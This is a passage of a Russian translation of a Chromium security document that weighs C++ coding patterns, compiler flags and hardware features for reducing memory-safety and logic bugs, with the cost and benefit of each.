Например, наш смарт-указатель типа *WeakPtr* был уязвим к UAFs (use-after-frees): если указанный объект был уничтожен, *WeakPtr::get* возвращал нулевой указатель, а последующее разыменование должно было приводить к сбою программы. Однако clang правильно определил, что хранение нулевого указателя и немедленное разыменование этого указателя – неопределенное поведение. Поэтому полностью удалил нулевой указатель. *WeakPtr::get* фактически вернул устаревший указатель, а разыменование привело к UAF. Была найдена как минимум [1 ошибка безопасности высокой степени серьезности](https://www.google.com/url?q=https://bugs.chromium.org/p/chromium/issues/detail?id%3D1133635&sa=D&source=editors&ust=1632134964112000&usg=AOvVaw3pYOES-nuBS3GVQGd20ra6) ([исправлено с помощью явной CHECK](https://www.google.com/url?q=https://chromium.googlesource.com/chromium/src/%2B/0b308a0e37b9d14a335c3b487511b7117c98d74b&sa=D&source=editors&ust=1632134964112000&usg=AOvVaw2B9J7IWX12HjWe2k-AXmuj)).
**Решение:** Clang предоставляет флаг компилятора под названием *-fno-delete-null-pointer-checks* (название сложилось исторически), который определяет разыменование нулевого указателя. С этим флагом разыменования нулевого указателя никогда не оптимизируются.
**Текущее состояние:** [Принято](https://www.google.com/url?q=https://chromium-review.googlesource.com/c/chromium/src/%2B/2481465&sa=D&source=editors&ust=1632134964113000&usg=AOvVaw3iMXQ3aik7l70qwzoptOxf).
**Затраты:** 42 Кб Android двоичный размер (как минимум) и [некоторые регрессии микро-бенчмарков в парсинге Blink](https://www.google.com/url?q=https://crbug.com/1149340&sa=D&source=editors&ust=1632134964114000&usg=AOvVaw2WI_cBbaNCNhoGci0Us7_j).
**Преимущества:** С этим флагом компилятор ведет себя так, как ожидает большинство разработчиков, облегчая понимание смысла кода.
Использование паттернов кодирования для уменьшения времени жизни ошибок
-----------------------------------------------------------------------
**Преимущества:** На UAF приходится около [48% серьезных ошибок безопасности](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub) (и число растет). Улучшенные паттерны кодирования не являются надежным решением, поскольку они все еще подвержены человеческому фактору. Они могут устранить определенную часть ошибок. В сочетании с надежным решением, таким как детерминированный MiraclePtr, паттерны кодирования могут устранить некоторые (непригодные для эксплуатации) сбои.
Использование absl::variant вместо перечислений для стейт-машин
---------------------------------------------------------------
**Проблема:** *перечисления* часто используются для стейт-машин. К сожалению, перечисление не единственная часть стейт-машин — почти всегда есть дополнительные поля, которые относятся к подмножеству состояний. Эти вещи не скоординированы, что вызывает проблемы с временем жизни объекта и логические ошибки.
```
struct StateMachine {
enum {
CONNECTING,
CONNECTED,
DISCONNECTING,
} state;
// These fields could get out of sync with 'state':
int thing_relevant_only_when_connected;
std::string thing_relevant_only_after_connection;
};
```
**Решение:** Использование *absl::variant*, типобезопасного размеченного объединения (tagged union). [Все данные, относящиеся только к одному из состояний, должны быть связаны с этим конкретным variant](https://www.google.com/url?q=https://genbattle.bitbucket.io/blog/2016/10/07/Type-Safe-Unions-in-C-and-Rust/&sa=D&source=editors&ust=1632134964119000&usg=AOvVaw2phXHzBCXSeb_alQyR6FNF).
**Текущее состояние:** *absl::variant* [недавно одобрен](https://www.google.com/url?q=https://groups.google.com/a/chromium.org/g/chromium-dev/c/sKVWxxSjVFU/m/MWqjjz9CAwAJ&sa=D&source=editors&ust=1632134964120000&usg=AOvVaw2Lzc4VYHh8wxKwJ5d4bZ16). Не было предпринято никаких попыток внести изменения в существующий код.
```
struct Connecting { int thing; }
struct Connected { std::string thing; }
struct Disconnecting { std::string thing; }
auto state_machine = absl::variant;
```
**Затраты:** Неудобный синтаксис (спорный). Сложность в определении того, какие перечисления используются для стейт-машин. (Можем ли мы просто запретить все *перечисления*?)
**Преимущества:** Уменьшено количество логических ошибок и ошибок времени жизни объекта, количество которых в настоящее время не определено.
Исключение использования std::unique\_ptr::get; использование общих указателей (shared pointers)
------------------------------------------------------------------------------------------------
**Проблема:** *unique\_ptr* поддерживает концепцию одного владельца, однако мы видим, что такие указатели содержат use-after-free ошибки, поэтому такая концепция определенно неверна. (*unique\_ptr* действительно гарантирует уникальный *deleter*, необязательно уникальный *owner*.)
**Решение:** Предотвращение любых способов получения сырого указателя из *unique\_ptr* (по мере возможности). Даже проверенных указателей: если разработчики получают какие-либо дополнительные указатели на что-то в уникальном указателе, значит он не является действительно уникальным, а разработчики должны использовать общий указатель. (Да, нам действительно приходится брать на себя расходы за подсчет ссылок.) В большинстве случаев, когда используется *unique\_ptr*, возможно, лучше использовать *base::Optional* чтобы получить конструкцию в одной ячейке кучи.
**Текущее состояние:** Противоречит современным передовым методам, которые поощряют *unique\_ptr* и не поощряют общие указатели.
Обратите внимание, что dcheng имеет противоположное мнение: мы, наоборот, хотим четко понимать время жизни объектов и возможность более четко определять принадлежность, лучше, чем позволяет shared\_ptr/подсчет ссылок/GC:
> Я думаю, что нам нужна безопасная версия сырого указателя для определения времени жизни объекта, у которого мы предполагаем наличие одного владельца. CheckedPtr – предыдущая попытка сделать это (хотя в данный момент это немного противоречит реализации MiraclePtr's)… Возможно, нам следует серьезно отнестись к этой попытке, потому что, кажется, об этом упоминалось неоднократно.
**Затраты:** Может оказаться, что многим объектам нужен подсчет ссылок. Но нам необходимо осуществить это чтобы повысить безопасность. Уменьшилась ясность в отношении времени жизни и времени запуска деструктора объекта. Также, было бы проще создавать циклические зависимости.
**Преимущества:** Уменьшение ошибок времени жизни объекта, количество которых в настоящее время не определено. Меньше выделений динамической памяти и разыменований, если мы используем композицию чаще, чем указатель.
Инициализация всей памяти
-------------------------
**Проблема:** Если программа использует переменные до их инициализации, возникают ошибки. Сюда можно включить разыменования висячих указателей и ошибки, приводящие к раскрытию информации (которой могут воспользоваться злоумышленники). Использование неинициализированной памяти также может привести к семантическим ошибкам, которые могут оказаться уязвимостями безопасности.
(Ошибки, приводящие к раскрытию информации могут возникать, когда у *структур* есть заполнение (padding), а в коде *memcpy*s копирует структуру и отправляет результат другому процессу. Заполнение может быть неинициализированным. Это значит, что вне зависимости от данных, которые были там ранее, есть вероятность, что они конфиденциальны. Мы уже встречали [подобные ошибки](https://www.google.com/url?q=https://bugs.chromium.org/p/chromium/issues/detail?id%3D765512&sa=D&source=editors&ust=1632134964125000&usg=AOvVaw3AgEPrFr901qZWr5WLM_cD). Безусловно, чтобы исправить ошибки, приводящие к раскрытию информации, нужно правильно выполнить сериализацию *структуры*. Изначальная инициализация всей структуры обеспечит хорошую всестороннюю защиту).
**Решения:** В дополнение к хорошему, четко определенному поведению (и, следовательно, выгодному для разработчика, как показал Go), инициализация всей памяти (либо до 0, либо до некоторого значения канарейки (canary value)) устраняет ошибки с висячим указателем и семантикой, возникающие при использовании неинициализированной памяти.
В качестве альтернативы мы могли бы настроить компилятор так, чтобы он отклонял объявления переменных, у которых нет инициализатора.
**Текущее состояние:** vitalybuka@ как порядочный программист [включил автоматическую инициализацию стека](https://www.google.com/url?q=https://source.chromium.org/chromium/chromium/src/%2B/master:build/config/compiler/BUILD.gn;l%3D2583?q%3Dtrivial-auto-var-init%26ss%3Dchromium&sa=D&source=editors&ust=1632134964127000&usg=AOvVaw0BiPezJxIepaPgS3KpokQ_) на [не-Андроиде](https://www.google.com/url?q=https://source.chromium.org/chromium/chromium/src/%2B/master:build/config/compiler/BUILD.gn;l%3D135?q%3Dinit_stack_vars%26ss%3Dchromium&sa=D&source=editors&ust=1632134964128000&usg=AOvVaw05W71IjXvksVz35Ho2M6Cm) с [некоторыми изменениями](https://www.google.com/url?q=https://source.chromium.org/search?q%3Ddefault_init_stack_vars%26sq%3D%26ss%3Dchromium&sa=D&source=editors&ust=1632134964128000&usg=AOvVaw1bUwXGSd-Ac2gqKbJOS1Ar) и в течение нескольких месяцев работал над улучшением производительности путем исключения критических путей (hot paths).
Вот что думает enh@:
> У Android R нулевая инициализация стека для ядра и пользовательского пространства. Мы обнаружили относительно немного мест в пользовательском пространстве, которые пришлось аннотировать для повышения производительности. Ребята рассматривают использование нулевой инициализации для S. Что, вероятно, будет сложнее осуществить.
Планы на будущее:
* Поработать над автоматической инициализацией (auto-init) кучи (на данный момент доступна только для стека)
* Попробовать снова протолкнуть нулевую инициализацию (zero-init)
* Посмотреть, сможем ли мы переключиться на *\_\_attribute((uninitialized))* вместо внесения изменений в конфигурацию сборки
* Еще раз попробовать V8?
**Затраты:** Было доказано, что автоматическая инициализация заметно увеличивает время выполнения в критических путях (hot paths). (Виталий вручную отобрал эти критические пути из автоматической инициализации.)
Предположим, что автоматическая инициализация значительно изменится в семантике C/C++. Если разработчики начнут полагаться на автоматическую инициализацию, есть вероятность, что код будет содержать больше багов, если кто-то отключит ее. (Мы можем и должны в любом случае защититься от этого с помощью тестов.)
**Преимущества:** На неинициализированную память приходится небольшая часть наших ошибок безопасности высокой степени серьезности – не более 1,5%. Автоматическая инициализация снижает когнитивную нагрузку (нет особой необходимости запоминать все случаи неопределенного поведения) и может обеспечить более чистый код, если разработчики гарантируют, что автоматическая инициализация всегда включена, *[пока программа запущена](https://www.google.com/url?q=https://lists.llvm.org/pipermail/cfe-dev/2020-April/065233.html&sa=D&source=editors&ust=1632134964132000&usg=AOvVaw2eiXuLxkbJOxmpEirQutQV)*.
Поскольку в некоторых местах нужно отключать автоматическую инициализацию, такие места должны быть "очевидны" и документально подтверждены. (Понятный и документально подтвержденный пример: [использование *\_\_attribute((uninitialized))* или аналогичного](https://www.google.com/url?q=https://source.chromium.org/chromium/chromium/src/%2B/master:sandbox/win/src/sandbox_nt_util.cc;l%3D63?q%3Dtrivial-auto-var-init%26ss%3Dchromium&sa=D&source=editors&ust=1632134964134000&usg=AOvVaw1mj1ELZ19SOB3XeUXcd4DI) в точках доступа, а не в частных случаях в сборке.)
Удаление примитивных массивов
-----------------------------
(Может быть описано в разделе [Удаление сырых указателей](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub).)
**Проблема:** В примитивных массивах в C границы не проверяются. Это приводит к ошибкам пространственной безопасности. *-fsanitize=bounds* работают только когда компилятор может статически определить размер массива, что случается не всегда.
**Решения:** Необходимо использовать тип, подобный *std::array*, где сейчас используются массивы в стиле C. Возможно, удастся автоматически перенести старый код в *std::array* (аналогично тому, как мы автоматически переносим код в MiraclePtr). Обратите внимание, что это повышает уровень безопасности, если мы также используем реализацию *std*, в которой определено все неопределенное поведение; например, *std::array::operator[]* не проверяет границы. (См. раздел [Определение всех стандартных моделей поведения библиотеки](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub).)
**Текущее состояние:** Отсутствует**.**
**Затраты:** Низкозатратно, но требует обсуждений и дополнительного обучения. Может потребоваться написать PRESUBMIT проверку или (предпочтительно) clang предупреждение, если это возможно.
**Преимущества:** [Пространственная небезопасность составляет 16% ошибок безопасности высокой степени серьезности. Возможно, 17.5%](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub).
Удаление изменяемого общего состояния
-------------------------------------
**Проблема:** В C++ невозможно предотвратить гонку данных.
**Решения:** Реализовать поддержку этого и borrow checker'а в компиляторе.
**Текущее состояние:** Отсутствует**.**
**Затраты:** Неизвестны. Существенно отличается от ожиданий разработчиков. Если Chromium будет активно использовать общее изменяемое состояние в некоторых местах, этот код потребуется значительно переработать.
**Преимущества:** На гонки данных [приходится ~1% ошибок безопасности высокой степени серьезности](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub); однако они связаны со множеством ошибок, которые позже относят к другим категориям (например, временная небезопасность), поэтому есть вероятность, что масштаб проблемы недооценен.
Проверка приведения типов
-------------------------
**Проблема:** Ошибки type confusion, например:
```
void SomeFunction(Animal* animal) {
// NOTE: Dog and Cat are subclasses of Animal.
DCHECK(IsCat(animal));
Cat* cat = static_cast(animal);
cat->Meow(); // If animal is really a Dog\*, memory unsafety may ensue!
}
```
может быть уязвимым, потому что может нарушить целостность памяти, если код неправильно обрабатывает объект 1 класса, так как считает его экземпляром другого.
*static\_cast* должен быть *dynamic\_cast* или должен автоматически проверяться не только в отладочных сборках с *DCHECK*, но и в сборках для продакшн. Исторически Chrome избегал *dynamic\_cast*, потому что затраты на динамическую идентификацию типа данных слишком высоки (например, огромный объектный код). Это позволяет ошибкам, которые не обнаруживаются во время отладки и фаззинга, стать уязвимостями на практике.
Вот что отмечает davidben@ по поводу размера объектного кода:
> После работы с godbolt, мне показалось, что затраты на динамическую идентификацию типа данных заключаются в том, что каждая таблица виртуальных методов (vtable) теперь также получает typeinfo с несколькими quad и названием класса. Выглядит не так уж дорого, да?
>
>
>
> Я получил (возможно, используя неправильные флаги сборки) увеличение с 171М до 178М в урезанной релизной сборке Linux. Существенное увеличение, но не такое уж огромное значение, верно? Android наткнулся на какую-то ошибку линковки с use\_rtti, хотя я предполагаю, что это поправимо.
>
>
>
> Если предположить, что здесь действительно нужны имена типов, может нам просто использовать Clang флаг, чтобы не использовать их? [std:type\_info::name предположительно ничего не обещает](https://www.google.com/url?q=https://en.cppreference.com/w/cpp/types/type_info/name&sa=D&source=editors&ust=1632305455272000&usg=AOvVaw2l0ixAY350YZn7pJkHSD7m), поэтому пустая строка должна идеально подойти...
**Решения:** TODO. dcheng@ говорит:
> Предполагаю, что вы хотите использовать casting helpers, которые [inferno](https://habr.com/ru/users/inferno/)@google.com изначально добавили в WebKit. Здесь используется ручная реализация динамической идентификации типа данных.
>
>
>
> Я улучшил ее и сделал более "современным" решением на основе паттернов C++. Но поскольку сегодня мы вообще не поддерживаем динамическую идентификацию типа данных, здесь нет *dynamic\_cast* даже в режиме отладки.
>
>
>
> Вот как это работает сегодня:
>
> * Blink классы реализуют IsX
>
> -Есть трейты, которые подсказывают cast helper'ам, как использовать различные IsX методы.
> * *DynamicTo<>* ведет себя как *dynamic\_cast<>* и возвращает значение *nullptr*, если проверка типа завершается неудачей. Используется в тех местах, где вы хотели бы использовать *IsA* с последующим *To*.
> * *To<>* ведет себя как *static\_cast<>*, но имеет *DCHECK(IsA)*;.
>
>
>
>
>
> В моем идеальном миром было бы так:
>
> * *To<>* всегда выполняет проверку типа
> * *DynamicTo<>* остается прежним.
> * *UnsafeTo<>* пропускает проверку типа в официальных сборках, когда необходимо добиться большей производительности.
> * <Что-то> вынуждает нас использовать эти helpers для осуществления операции приведения типов, а не *static\_cast*.
>
>
>
>
tsepez@ говорит:
> Несколько лет назад я задумывался о создании *subclass\_cast<>* (или *down\_cast<>*), который определялся бы как *dynamic\_cast*, если бы была включена динамическая идентификация типа данных и *static\_cast* в ином случае (чтобы избежать предупреждений о динамическом приведении в сборках, отличных от динамической идентификации типа данных). В итоге я сделал вывод, что это была плохая идея. Получается, что вы улучшаете языки, удаляя из них то, что не следует использовать, вместо того чтобы добавлять новые фичи, которые следует использовать.
markbrand@ говорит: "На сколько я понимаю, clang-cfi (Clang Control-flow integrity) поддерживает это, но я не уверен, требуется ли динамическая идентификация типа данных."
kcc@ спрашивает: "Почему бы не использовать [cast-cfi](https://www.google.com/url?q=https://clang.llvm.org/docs/ControlFlowIntegrity.html%23bad-cast-checking&sa=D&source=editors&ust=1632134964144000&usg=AOvVaw3zzPIpqVZYCSJuQxFwWxTn)? Microsoft использует его."
**Текущее состояние:** Теперь в Blink есть соглашение для работы с проблемой "приведения к неправильному подклассу", которая раньше часто возникала в Blink. Возможно, теперь его можно применять более широко.
**Затраты:** Мы можем уменьшить расходы по сравнению с применением динамической идентификации типа данных и *dynamic\_cast*, но во время выполнения всегда будут некоторые микро-затраты и, возможно, некоторые затраты на размер объектного кода.
**Преимущества:** [7% ошибок безопасности высокой степени серьезности приходится на type confusion](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub), хотя значительная часть этих ошибок относится к V8 и не будет входить в улучшения C++ (или в новый язык программирования общего назначения). Злоумышленники особенно сильно любят использовать такие ошибки.
Превращать все DCHECKs в CHECKs
-------------------------------
**Проблема:** *DCHECK*s используются для проверки некоторого *статического* инварианта, но иногда их используют не по назначению для проверки *динамического* инварианта (иногда предполагая, что это поможет обнаружить ошибку динамически в отладочных сборках). Если во время релиза *DCHECK* пропущен, это может привести к нарушению безопасности памяти, а иногда и спровоцировать появление логической ошибки. В любом случае это вполне может стать ошибкой безопасности.
**Решения:** Следить за наличием ненужных *DCHECK*s (такие тоже могут быть), а затем превратить оставшиеся *DCHECK*s в *CHECK*s. Некоторые *DCHECK*s действительно проверяют статичные инварианты. Их не следует преобразовывать.
**Текущее состояние:** Сборка [Albatross](https://www.google.com/url?q=https://docs.google.com/document/d/1QY4IbbJ8X6G-6-cMheEkP_mT7ZNPCuUJIW2sr_mEiH4/edit&sa=D&source=editors&ust=1632134964148000&usg=AOvVaw2C5r68uPmy_LIHCwzheLFG). Предложение включить *DCHECK*s для проведения некоторых проверок в сборке.
**Затраты:** Дополнительная команда ветвления во время выполнения. Проверка в некоторых *DCHECK*s приводит к существенному раздуванию бинарных файлов и вычислению времени выполнения (например, сравнение деревьев кодов операций в V8). Придется это как-то обойти там, где это возможно.
**Преимущества:** Может решить проблемы безопасности доступа к памяти и ошибки логики/корректности. Около 30% наших ошибок безопасности высокой степени серьезности *не* являются проблемами безопасности памяти. [10% наших ошибок безопасности высокой степени серьезности приходятся на DCHECKs](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub), которые, как мы определили, могут стать угрозой для безопасности, если во время релиза *DCHECK* пропускается.
Реализация NOTREACHED через CHECK
---------------------------------
**Проблема:** *NOTREACHED* означает, что программа перешла в неопределенное состояние, и результатом будет неопределенное поведение. В отладочных сборках эта проблема устраняется, но, к (не)счастью наших пользователей, попадает в продакшн.
**Решения:** Заставьте *NOTREACHED* выполнить *CHECK(false)* вместо *DCHECK(false)* или эквивалент.
**Текущее состояние:** Есть [план того, как сделать *NOTREACHED [[noreturn]]*](https://www.google.com/url?q=https://bugs.chromium.org/p/chromium/issues/detail?id%3D851128&sa=D&source=editors&ust=1632134964152000&usg=AOvVaw3EAdpfzB9axTUFwRetX2l_), который включает в себя создание *IMMEDIATE\_CRASH*.
**Затраты:** Больший бинарный размер для наших пользователей, так как эти проверки скомпилированы в релизных сборках. Это должно занимать значительно меньше места и быть значительно безопаснее, чем глобально преобразовывать *DCHECK* в *CHECK*, поскольку *NOTREACHED* используется чтобы задокументировать неопределенное поведение и встречается реже. Вероятно, для имплементации этого потребуется несколько попыток. Любые *NOTREACHED* данные, обнаруженные в продакшн, должны быть удалены и преобразованы для правильной обработки этого случая.
Предотвращать использование use after move
------------------------------------------
**Проблема:** C++ позволяет программистам перемещать объекты, а затем использовать освободившееся место. (Мы называем это use after move или UAM.) Состояние этого места не определено, а его использование провоцирует неопределенное поведение.
**Решение:** Внедрить плагин Clang, чтобы предотвратить использование любого перемещенного значения.
Существующие работы:
* Clang [MisusedMovedObject check](https://www.google.com/url?q=https://clang.llvm.org/docs/analyzer/checkers.html%23alpha-cplusplus-misusedmovedobject-c&sa=D&source=editors&ust=1632134964156000&usg=AOvVaw0JNMAvUviENM1F6h9kRmxb)
* [Clang-Tidy bugprone-use-after-move](https://www.google.com/url?q=https://clang.llvm.org/extra/clang-tidy/checks/bugprone-use-after-move.html&sa=D&source=editors&ust=1632134964156000&usg=AOvVaw2RPeScLaj9-PzD-YQqFrpO) развернута в google3 [и в Chromium](https://www.google.com/url?q=https://chromium-review.googlesource.com/c/chromium/src/%2B/2383010&sa=D&source=editors&ust=1632134964157000&usg=AOvVaw0TgMQe0Z6TN2aQUoffnqOe).
Проверка Clang-tidy полезна, но ее недостаточно. Он не рассматривает это как UAM:
```
auto consumes = [](OnceClosure c) {};
auto moves = [&](OnceClosure& c) {
consumes(std::move(c)); };
auto c = BindOnce([]() {});
moves(c);
moves(c); // Use after move.
```
В настоящее время Chromium полагается на читаемые *OnceCallback* и *unique\_ptr* (находящиеся в нулевом состоянии) после перемещения.
**Текущее состояние:** Отсутствует. [Ошибка при использовании атрибута для аннотирования допустимых применений](https://www.google.com/url?q=https://crbug.com/1198689&sa=D&source=editors&ust=1632134964159000&usg=AOvVaw3FziA5MXp2EuWjD07x-qBs).
**Затраты:** Возможно, никаких?
**Преимущества:** Снижение количества ошибок времени жизни объекта.
Приложение: поиск решений логических ошибок
-------------------------------------------
Ошибки, связанные с безопасностью доступа к памяти в C++, сильно беспокоят Chrome. Однако, как только все они будут исправлены, злоумышленники вместо этого начнут использовать логические ошибки. В других языках существуют определенные средства и идиомы, которые предполагают уменьшение вероятности возникновения таких ошибок. Пожалуй, мы могли бы сделать что-то в C++, чтобы предотвратить логические ошибки в критически важных для безопасности областях. Они также потенциально могут способствовать снижению временной небезопасности.
Логические ошибки составляют около [10% наших ошибок безопасности высокой степени серьезности](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub).
### Рекомендуется использовать type wrappers для инвариантов безопасности
**Проблема:** C++ затрудняет написание type wrappers. В других языках у вас может быть (например) *IpAddress* и *IpAddressWhichIsNotLoopback* (оборачивание IpAddress с нулевым временем выполнения, за исключением первоначальной проверки). Некоторые API будут принимать только последний тип, обеспечивая нулевое влияние на время выполнения. Все это возможно и в C++. Но это нераспространенный паттерн, потому что в C++ его трудновато применять.
Так же, может быть полезно иметь [ranged integers](https://www.google.com/url?q=https://resources.sei.cmu.edu/asset_files/TechnicalNote/2007_004_001_14846.pdf&sa=D&source=editors&ust=1632134964161000&usg=AOvVaw3hMO2-eVpIaYvUh3H3w02i).
Например, существует множество веб-платформенных функций, которые требуют, чтобы вызывающая программа находилась в безопасной среде. Часть этой проверки заключается в проверке того, что источник вызывающей программы является одной из безопасных URL схем. На данный момент мы передаем обычные *GURL* и *url::Origins* (предпочтительно последнее!) и ожидаем, что вызываемая (функция) выполнит явную проверку.
Вместо этого мы могли бы выполнить эту проверку в конструкторе ограниченного класса, например:
```
class SecureGURL : public GURL {
// This constructor is intentionally not `explicit`:
SecureGURL(const GURL& gurl) { CHECK(gurl.IsSecureScheme()); ... }
}
std::vector LoadTrustedResource(const SecureGURL& gurl);
```
Таким образом, вызываемый объект, в данном случае гипотетический *LoadTrustedResource*, может быть вызван только с помощью *GURL*, который уже прошел проверку и которому уже не нужно явно выполнять проверку.
ellyjones@ отмечает, что мы могли бы пойти дальше и могли бы сделать *SecureGURL* не подклассом *GURL*, чтобы никто не мог случайно выполнить приведение вниз. Однако нам пришлось бы пересмотреть весь интерфейс *GURL*.
**Решение:** Безопасность типов во время компиляции может устранять логические ошибки более высокого уровня. Необходимо искать случаи в кодовой базе, в которых это может помочь. (Например, адрес начала программы, URIs и т. д. могут оказаться подходящими областями.)
**Текущее состояние:** Отсутствует**.**
**Затраты:** По задумке затрат на время выполнения не должно быть. На самом деле наоборот. Это означает, что проверка может быть выполнена только один раз статически, а не динамически или несколько раз. Может быть сложно определить случаи, когда такой паттерн имеет смысл в существующей кодовой базе.
**Преимущества:** Если какие-либо случаи выявляются, можно устранить некоторые логические ошибки без снижения производительности (или сделать небольшое улучшение, например, избавиться от *CHECK*).
Приложение: аппаратная поддержка для обнаружения проблем с памятью
------------------------------------------------------------------
### Разметка памяти
Все новое – хорошо забытое старое: размеченная память возрождается. (Между этим и распространенностью JavaScript, в конце концов победил Lisp!) См. [ARM MTE](https://www.google.com/url?q=https://docs.google.com/document/d/1j7S5EZeXesdL2eLC5D6dTAbF8Us9QNUcxAhD9cmWKMg/edit&sa=D&source=editors&ust=1632134964165000&usg=AOvVaw2rEpgPE0KjEzAeyXwPTFeV). В зависимости от конкретного механизма указатели и/или области памяти "помечаются", и, если код пытается загрузить или сохранить память без использования правильного тега, программа выдает ошибку. Это помогает нам обнаруживать ошибки и останавливать эксплойты с определенной (обычно высокой) вероятностью для каждого случая.
MTE может скоро появиться в устройствах высокого класса, но потребуется гораздо больше времени, чтобы это распространилось по большей части мира.
Тегирование не является идеальной защитой. Если злоумышленник узнает или угадает правильный тег — [часто им удается это сделать](https://www.google.com/url?q=https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html&sa=D&source=editors&ust=1632134964166000&usg=AOvVaw0ei1iJKoytvblRPpTmORgv) — он сможет незаметно использовать правильный тег во время эксплойта. Чтобы воспользоваться преимуществами тегирования, нам нужно сделать так, чтобы злоумышленникам было сложно найти или угадать значения тегов. (Например, сделать так, чтобы браузер ограничивал навигацию по сайтам, у которых слишком часто ломается рендер. Правда я не уверен, поможет ли это.)
### Control Flow Integrity
В настоящее время мы предоставляем [поддержку Intel Control-flow Enforcement Technology (CET) для Windows](https://www.google.com/url?q=https://security.googleblog.com/2021/05/enabling-hardware-enforced-stack.html&sa=D&source=editors&ust=1632134964167000&usg=AOvVaw1yqWY5xV_tf9-74t9gvuy0).
Поддержка этого значительно увеличивает шансы продвижения Clang CFI/Windows CFG. Мы рассматриваем возможность осуществления этого в 2021 году. TODO: ENDBRANCH.
Мы также собираемся изучить возможность поддержки CET на всех операционных системах, надеюсь, также в 2021 году.
TODO: [ARM PAC](https://www.google.com/url?q=https://developer.apple.com/documentation/security/preparing_your_app_to_work_with_pointer_authentication&sa=D&source=editors&ust=1632134964168000&usg=AOvVaw3LTMsxfow5yoHXpYfi91MK) сейчас предоставляется для устройств Apple. Также было бы неплохо изучить PAC и [BTI](https://www.google.com/url?q=https://developer.arm.com/documentation/ddi0596/2020-12/Base-Instructions/BTI--Branch-Target-Identification-&sa=D&source=editors&ust=1632134964169000&usg=AOvVaw0uRZRjVmk6e9TDsV7Z-PYh) на других устройствах и операционных системах.
Приложение: типы ошибок
-----------------------
В этом документе говорится о влиянии исправления различных типов ошибок безопасности в процентном соотношении. Эти проценты получены при проведении ручного анализа каждой ошибки безопасности высокой степени серьезности, которая повлияла на стабильный канал с начала 2019 года. Точные первопричины вычислены приблизительно. Стоит отметить, что сектор "временной безопасности" растет из года в год.
Приложение: удаление нулевых указателей
---------------------------------------
**Проблема:** Хоть разыменование нулевого указателя не считается уязвимостью системы безопасности (если только злоумышленник не может контролировать смещение указателя, что случается редко), они действительно являются причиной значительной доли ошибок стабильности. Ответственному за защищенность данных (Security Sheriff) может потребоваться значительное время, чтобы убедиться, что данная ошибка действительно является "обычной" ошибкой стабильности ([пример](https://www.google.com/url?q=https://bugs.chromium.org/p/chromium/issues/detail?id%3D1048473&sa=D&source=editors&ust=1632134964171000&usg=AOvVaw1mxIf_ajm_ZAIGjfmhiFx6)).
Удаление нулевых указателей также поможет улучшить работу — разработчики смогут избавиться от когнитивных и кодовых издержек, связанных с проверкой на ноль.
Примечание: ASan сообщает о сбое как о null-deref, если ошибочный адрес находится в пределах [0, 4096). Без использования ASan нужно смотреть на значение регистров, но люди иногда совершают ошибки. Воспроизведение как можно большего количества сбоев в ClusterFuzz, скорее всего, снизит вероятность ошибки.
**Решения:** Изменить тип смарт указателя, чтобы для указателей, которые могут быть пустыми, требовалась явная аннотация или флаг конструктора. Проверить наличие и избавиться от таких указателей. Проверить конструкцию на наличие тех указателей, которые не должны быть нулевыми.
Как и в случае с целочисленной семантикой, возможно, удастся получить то, что мы хотим, с помощью параметров компилятора. [Доступно несколько вариантов](https://www.google.com/url?q=https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html&sa=D&source=editors&ust=1632134964173000&usg=AOvVaw23Rf1eIfusCjpPQnKDTBRm), в том числе *-fsanitize=null* и *-fsanitize=nullability-arg*. Параметры *nullability-\** работают с аннотацией *\_Nonnull* от Clang.
**Текущее состояние:** Отсутствует**.**
**Затраты:** Микрозатраты на проверку.
**Преимущества:** Мы можем обнаружить ошибки стабильности раньше и сможем сэкономить время на сортировку ошибок безопасности.
Приложение: меры по смягчению последствий
-----------------------------------------
В этом документе внимание уделяется подходам к проблеме на уровне языка: кодификации более безопасных паттернов использования C++ для повышения безопасности памяти и уменьшения неопределенного поведения в целом.
Использование мер по устранению уязвимостей и усовершенствованных методов поиска ошибок могут дополнить такую работу. Например:
* HWASAN
* GWP-ASan
* Разметка памяти (например, Memory Tagging Extension)
* CFI и защита стека
* Классические: W^X/DEP, stack canaries, heap canaries, ASLR
Приложение: иные идеи
---------------------
Возможно, будут рассматриваться:
* Удаление *base::Unretained* – требует, чтобы разработчики определяли правильную модель владения для каждого объекта. (*WeakPtr* не всегда является серебряной пулей, потому что его нельзя использовать в последовательностях/потоках.)
* Или вернуться к использованию *Unretained* с MiraclePtr.
* Улучшения Mojom для обеспечения хранения всех объектов в подходящих контейнерах.
* Запрет на паттерны разработки, которые, как правило, вызывают проблемы (например, singleton'ы (одиночки) по сути означают общее и вероятное изменяемое состояние)). (Была [предпринята попытка систематического расследования](https://www.google.com/url?q=https://docs.google.com/document/d/1MAuOqSpVaKsjqmw8oPLwwdSywHX9HF4FiPnODHNimmQ/edit&sa=D&source=editors&ust=1632134964178000&usg=AOvVaw0vD0Ukp5R2xyj57lPq3LtZ).)
